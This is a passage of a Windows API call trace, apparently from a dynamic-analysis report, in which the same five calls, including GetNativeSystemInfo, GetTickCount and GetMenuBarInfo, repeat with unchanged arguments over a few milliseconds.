wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.251] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.251] GetTickCount () returned 0x19f2b [0043.252] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.252] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.252] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.252] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.252] GetTickCount () returned 0x19f2b [0043.252] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.252] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.252] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.252] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.252] GetTickCount () returned 0x19f2b [0043.252] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.252] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.252] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.252] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.252] GetTickCount () returned 0x19f2b [0043.252] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.252] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.252] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.252] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.252] GetTickCount () returned 0x19f2b [0043.252] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.252] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.252] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.252] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.253] GetTickCount () returned 0x19f2b [0043.253] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.253] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.253] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.253] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.253] GetTickCount () returned 0x19f2b [0043.253] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.253] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.253] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.253] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.253] GetTickCount () returned 0x19f2b [0043.253] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.253] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.253] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.253] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.253] GetTickCount () returned 0x19f2b [0043.253] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.253] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.253] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.253] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.253] GetTickCount () returned 0x19f2b [0043.253] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.253] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.253] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.254] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.254] GetTickCount () returned 0x19f2b [0043.254] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.254] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.254] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.254] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.254] GetTickCount () returned 0x19f2b [0043.254] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.254] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.254] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.254] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.254] GetTickCount () returned 0x19f2b [0043.254] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.254] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.254] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.254] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.254] GetTickCount () returned 0x19f2b [0043.254] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.254] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.254] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.254] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.254] GetTickCount () returned 0x19f2b [0043.254] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.254] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.254] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.255] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.255] GetTickCount () returned 0x19f2b [0043.255] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.255] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.255] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.255] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.255] GetTickCount () returned 0x19f2b [0043.255] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.255] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.255] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.255] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.255] GetTickCount () returned 0x19f2b [0043.255] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.255] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.255] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.255] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.255] GetTickCount () returned 0x19f2b [0043.255] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.255] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.255] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.255] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.255] GetTickCount () returned 0x19f2b [0043.255] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.255] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.255] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.256] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.256] GetTickCount () returned 0x19f2b [0043.256] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.256] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.256] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.256] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.256] GetTickCount () returned 0x19f2b [0043.256] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.256] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.256] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.256] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.256] GetTickCount () returned 0x19f2b [0043.256] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.256] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.256] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.256] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.256] GetTickCount () returned 0x19f2b [0043.256] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.256] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.256] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.256] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.256] GetTickCount () returned 0x19f2b [0043.256] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.256] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.257] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.257] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.257] GetTickCount () returned 0x19f2b [0043.257] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.257] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.257] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.257] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.257] GetTickCount () returned 0x19f2b [0043.257] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.257] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.257] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.257] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.257] GetTickCount () returned 0x19f2b [0043.257] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.257] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.257] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.257] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.257] GetTickCount () returned 0x19f2b [0043.257] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.257] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.257] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.257] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.257] GetTickCount () returned 0x19f2b [0043.257] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.257] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.258] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.258] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.258] GetTickCount () returned 0x19f2b [0043.258] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.258] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.258] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.258] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.258] GetTickCount () returned 0x19f2b [0043.258] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.258] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.258] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.258] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.258] GetTickCount () returned 0x19f2b [0043.258] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.258] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.258] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.258] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.258] GetTickCount () returned 0x19f2b [0043.258] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.258] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.258] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.258] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.258] GetTickCount () returned 0x19f2b [0043.258] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.259] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.259] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.259] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.259] GetTickCount () returned 0x19f2b [0043.259] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.259] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.259] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, 